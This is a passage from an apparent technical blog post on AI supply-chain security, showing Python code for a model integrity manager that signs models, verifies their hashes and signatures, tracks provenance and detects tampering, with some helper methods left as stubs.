                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1.1.1</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">OpenSSL vulnerability</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">cve_id</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CVE-2022-0778</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">],</span>
                <span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">critical_count</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">high_count</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">medium_count</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">low_count</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span>
            <span class="p">}</span>
            
            <span class="k">return</span> <span class="n">scan_results</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error scanning container image </span><span class="si">{</span><span class="n">image_name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">{}</span>
    
    <span class="c1"># Additional helper methods would be implemented here
</span>    <span class="c1"># ... (remaining helper methods for completeness)
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="model-integrity-verification-and-protection">Model Integrity Verification and Protection</h2>

<h3 id="digital-signing-and-verification-system">Digital Signing and Verification System</h3>

<p>Implementing comprehensive model integrity verification ensures that AI models haven’t been tampered with throughout the supply chain.</p>

<h4 id="model-signing-and-verification-framework">Model Signing and Verification Framework</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">base64</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">hashes</span><span class="p">,</span> <span class="n">serialization</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives.asymmetric</span> <span class="kn">import</span> <span class="n">rsa</span><span class="p">,</span> <span class="n">padding</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span><span class="p">,</span> <span class="n">Tuple</span><span class="p">,</span> <span class="n">Any</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="k">class</span> <span class="nc">ModelIntegrityManager</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Comprehensive model integrity management system
    Provides digital signing, verification, and tamper detection for AI models
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">region_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">kms</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">kms</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">signer</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">signer</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        
        <span class="c1"># Initialize signing configuration
</span>        <span class="n">self</span><span class="p">.</span><span class="n">signing_platform_arn</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_get_or_create_signing_platform</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">integrity_database</span> <span class="o">=</span> <span class="p">{}</span>
    
    <span class="k">def</span> <span class="nf">create_model_signature</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                               <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                               <span class="n">signing_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create digital signature for AI model</span><span class="sh">"""</span>
        
        <span class="n">signature_id</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">model_location</span><span class="si">}{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">]</span>
        
        <span class="n">signature_result</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">signature_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">signature_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">model_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_location</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">signing_algorithm</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">algorithm</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">RSA-PSS-SHA256</span><span class="sh">'</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">model_hash</span><span class="sh">'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">certificate_chain</span><span class="sh">'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Calculate model hash
</span>            <span class="n">model_hash</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_calculate_model_hash</span><span class="p">(</span><span class="n">model_location</span><span class="p">)</span>
            <span class="n">signature_result</span><span class="p">[</span><span class="sh">'</span><span class="s">model_hash</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">model_hash</span>
            
            <span class="c1"># Generate digital signature
</span>            <span class="k">if</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">use_aws_signer</span><span class="sh">'</span><span class="p">,</span> <span class="bp">True</span><span class="p">):</span>
                <span class="c1"># Use AWS Signer service
</span>                <span class="n">signing_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_sign_with_aws_signer</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">,</span> <span class="n">signing_config</span><span class="p">)</span>
                <span class="n">signature_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">signing_result</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="c1"># Use custom signing
</span>                <span class="n">signing_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_sign_with_custom_key</span><span class="p">(</span><span class="n">model_hash</span><span class="p">,</span> <span class="n">signing_config</span><span class="p">)</span>
                <span class="n">signature_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">signing_result</span><span class="p">)</span>
            
            <span class="c1"># Store signature metadata
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">_store_signature_metadata</span><span class="p">(</span><span class="n">signature_result</span><span class="p">)</span>
            
            <span class="c1"># Create signed model artifact
</span>            <span class="n">signed_artifact</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_create_signed_artifact</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="n">signature_result</span><span class="p">)</span>
            <span class="n">signature_result</span><span class="p">[</span><span class="sh">'</span><span class="s">signed_artifact_location</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">signed_artifact</span>
            
            <span class="k">return</span> <span class="n">signature_result</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error creating model signature: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">verify_model_integrity</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                               <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                               <span class="n">signature_info</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="n">Dict</span><span class="p">]</span> <span class="o">=</span> <span class="bp">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Verify model integrity using digital signature</span><span class="sh">"""</span>
        
        <span class="n">verification_result</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">model_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_location</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">verification_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">integrity_verified</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">hash_matches</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">certificate_valid</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">security_warnings</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Load signature information
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">signature_info</span><span class="p">:</span>
                <span class="n">signature_info</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_load_signature_metadata</span><span class="p">(</span><span class="n">model_location</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="ow">not</span> <span class="n">signature_info</span><span class="p">:</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">security_warnings</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">no_signature_found</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No digital signature found for model</span><span class="sh">'</span>
                <span class="p">})</span>
                <span class="k">return</span> <span class="n">verification_result</span>
            
            <span class="c1"># Verify model hash
</span>            <span class="n">current_hash</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_calculate_model_hash</span><span class="p">(</span><span class="n">model_location</span><span class="p">)</span>
            <span class="n">expected_hash</span> <span class="o">=</span> <span class="n">signature_info</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">model_hash</span><span class="sh">'</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">current_hash</span> <span class="o">==</span> <span class="n">expected_hash</span><span class="p">:</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">hash_matches</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">security_warnings</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">hash_mismatch</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model hash mismatch. Expected: </span><span class="si">{</span><span class="n">expected_hash</span><span class="si">}</span><span class="s">, Got: </span><span class="si">{</span><span class="n">current_hash</span><span class="si">}</span><span class="sh">'</span>
                <span class="p">})</span>
            
            <span class="c1"># Verify digital signature
</span>            <span class="n">signature_verification</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_verify_digital_signature</span><span class="p">(</span><span class="n">signature_info</span><span class="p">,</span> <span class="n">current_hash</span><span class="p">)</span>
            <span class="n">verification_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">signature_verification</span><span class="p">)</span>
            
            <span class="c1"># Verify certificate chain
</span>            <span class="n">certificate_verification</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_verify_certificate_chain</span><span class="p">(</span><span class="n">signature_info</span><span class="p">)</span>
            <span class="n">verification_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">certificate_verification</span><span class="p">)</span>
            
            <span class="c1"># Check signing timestamp and expiration
</span>            <span class="n">timestamp_verification</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_verify_signing_timestamp</span><span class="p">(</span><span class="n">signature_info</span><span class="p">)</span>
            <span class="n">verification_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">timestamp_verification</span><span class="p">)</span>
            
            <span class="c1"># Overall integrity assessment
</span>            <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">integrity_verified</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">hash_matches</span><span class="sh">'</span><span class="p">]</span> <span class="ow">and</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">]</span> <span class="ow">and</span>
                <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">certificate_valid</span><span class="sh">'</span><span class="p">]</span> <span class="ow">and</span>
                <span class="nf">len</span><span class="p">(</span><span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">security_warnings</span><span class="sh">'</span><span class="p">])</span> <span class="o">==</span> <span class="mi">0</span>
            <span class="p">)</span>
            
            <span class="c1"># Log verification result
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">_log_verification_result</span><span class="p">(</span><span class="n">verification_result</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="n">verification_result</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error verifying model integrity: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">security_warnings</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">verification_error</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Error during verification: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="k">return</span> <span class="n">verification_result</span>
    
    <span class="k">def</span> <span class="nf">implement_model_provenance_tracking</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                            <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement comprehensive model provenance tracking</span><span class="sh">"""</span>
        
        <span class="n">provenance_id</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">model_config</span><span class="si">}{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">]</span>
        
        <span class="n">provenance_record</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">provenance_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">provenance_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">model_config</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">creation_metadata</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">training_data_sources</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">training_data_sources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]),</span>
                <span class="sh">'</span><span class="s">training_framework</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">framework</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">training_environment</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">environment</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}),</span>
                <span class="sh">'</span><span class="s">training_duration</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">training_duration</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">hardware_used</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">hardware</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">code_version</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">code_version</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">hyperparameters</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">hyperparameters</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">lineage_chain</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">modifications</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">validations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">deployments</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Track data lineage
</span>        <span class="k">for</span> <span class="n">data_source</span> <span class="ow">in</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">training_data_sources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]):</span>
            <span class="n">lineage_info</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_track_data_lineage</span><span class="p">(</span><span class="n">data_source</span><span class="p">)</span>
            <span class="n">provenance_record</span><span class="p">[</span><span class="sh">'</span><span class="s">lineage_chain</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="n">lineage_info</span><span class="p">)</span>
        
        <span class="c1"># Track pre-trained model lineage
</span>        <span class="k">if</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">base_model</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">base_model_lineage</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_track_model_lineage</span><span class="p">(</span><span class="n">model_config</span><span class="p">[</span><span class="sh">'</span><span class="s">base_model</span><span class="sh">'</span><span class="p">])</span>
            <span class="n">provenance_record</span><span class="p">[</span><span class="sh">'</span><span class="s">lineage_chain</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="n">base_model_lineage</span><span class="p">)</span>
        
        <span class="c1"># Store provenance record
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">_store_provenance_record</span><span class="p">(</span><span class="n">provenance_record</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">provenance_record</span>
    
    <span class="k">def</span> <span class="nf">detect_model_tampering</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                               <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                               <span class="n">baseline_metrics</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Detect potential model tampering through behavior analysis</span><span class="sh">"""</span>
        
        <span class="n">tampering_analysis</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">model_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_location</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">analysis_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">tampering_detected</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">anomalies_found</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">behavior_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">performance_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">statistical_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Behavioral analysis
</span>            <span class="n">behavior_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_model_behavior_changes</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="n">baseline_metrics</span><span class="p">)</span>
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">behavior_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">behavior_results</span>
            
            <span class="c1"># Performance analysis
</span>            <span class="n">performance_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_performance_anomalies</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="n">baseline_metrics</span><span class="p">)</span>
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">performance_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">performance_results</span>
            
            <span class="c1"># Statistical analysis
</span>            <span class="n">statistical_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_statistical_properties</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="n">baseline_metrics</span><span class="p">)</span>
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">statistical_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">statistical_results</span>
            
            <span class="c1"># Aggregate results
</span>            <span class="n">all_anomalies</span> <span class="o">=</span> <span class="p">[]</span>
            <span class="n">all_anomalies</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="n">behavior_results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">anomalies</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span>
